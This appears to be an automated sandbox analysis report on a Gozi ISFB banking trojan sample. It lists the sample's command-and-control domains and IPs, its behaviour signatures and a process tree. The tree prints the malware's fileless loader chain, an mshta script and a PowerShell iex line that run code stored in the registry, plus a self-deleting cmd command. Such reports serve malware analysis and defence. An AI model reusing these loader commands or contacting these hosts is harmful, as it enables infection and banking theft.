Analysis
- max time kernel
155s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
20/09/2022, 13:08
General
- Target 336.exe
- Size 37KB
- Sample220920-qc8tmageer
- SHA256 33fb403df3fbb04985e39e47f3be1f71a9d9ac2f3d1339823c5b4ece82a4cb78
Malware Config
Extracted
-
gozi_ifsb
-
80000
-
trackingg-protectioon.cdn1.mozilla.net
-
45.8.158.104
-
188.127.224.114
-
weiqeqwns.com
-
wdeiqeqwns.com
-
weiqeqwens.com
-
weiqewqwns.com
-
iujdhsndjfks.com
-
base_path
/uploaded/
-
build
250240
-
exe_type
loader
-
extension
.pct
-
server_id
50
Extracted
-
gozi_ifsb
-
80000
-
trackingg-protectioon.cdn1.mozilla.net
-
45.8.158.104
-
188.127.224.114
-
weiqeqwns.com
-
wdeiqeqwns.com
-
weiqeqwens.com
-
weiqewqwns.com
-
iujdhsndjfks.com
-
base_path
/uploaded/
-
build
250246
-
exe_type
worker
-
extension
.pct
-
server_id
50
Signatures
- Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 7 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\336.exe"C:\Users\Admin\AppData\Local\Temp\336.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Dw0d='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dw0d).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\51C98FB5-7C72-AB2B-0E15-700F2219A4B3\\\TypePack'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ixyegph -value gp; new-alias -name ayejgu -value iex; ayejgu ([System.Text.Encoding]::ASCII.GetString((ixyegph "HKCU:Software\AppDataLow\Software\Microsoft\51C98FB5-7C72-AB2B-0E15-700F2219A4B3").VirtualWhite))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5nl51not\5nl51not.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES20E1.tmp" "c:\Users\Admin\AppData\Local\Temp\5nl51not\CSC8A0E1E74E09E4CF190BE9BA267C3ECEB.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i2gwvwpu\i2gwvwpu.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2248.tmp" "c:\Users\Admin\AppData\Local\Temp\i2gwvwpu\CSCFCAC1761B91D470092F67608F7D826C.TMP"5⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\336.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
5nl51not.dll
RES20E1.tmp
RES2248.tmp
i2gwvwpu.dll
5nl51not.0.cs
5nl51not.cmdline
CSC8A0E1E74E09E4CF190BE9BA267C3ECEB.TMP
CSCFCAC1761B91D470092F67608F7D826C.TMP
i2gwvwpu.0.cs
i2gwvwpu.cmdline
memory/2724-166-0x0000000007B90000-0x0000000007C33000-memory.dmp
memory/2724-159-0x0000000007B90000-0x0000000007C33000-memory.dmp
memory/3448-157-0x00000271C24F0000-0x00000271C2593000-memory.dmp
memory/3516-154-0x000002113FDC0000-0x000002113FDFD000-memory.dmp
memory/3516-153-0x00007FFC17A10000-0x00007FFC184D1000-memory.dmp
memory/3516-137-0x000002113FD10000-0x000002113FD32000-memory.dmp
memory/3516-138-0x00007FFC17A10000-0x00007FFC184D1000-memory.dmp
memory/3732-158-0x000002584C070000-0x000002584C113000-memory.dmp
memory/4600-165-0x0000021D9E300000-0x0000021D9E3A3000-memory.dmp
memory/4656-161-0x000001EE31450000-0x000001EE314F3000-memory.dmp
memory/4724-163-0x0000000000776B20-0x0000000000776B24-memory.dmp
memory/4724-164-0x0000000001120000-0x00000000011B6000-memory.dmp
memory/5040-160-0x00000121498D0000-0x0000012149973000-memory.dmp
memory/5092-132-0x0000000000670000-0x000000000067D000-memory.dmp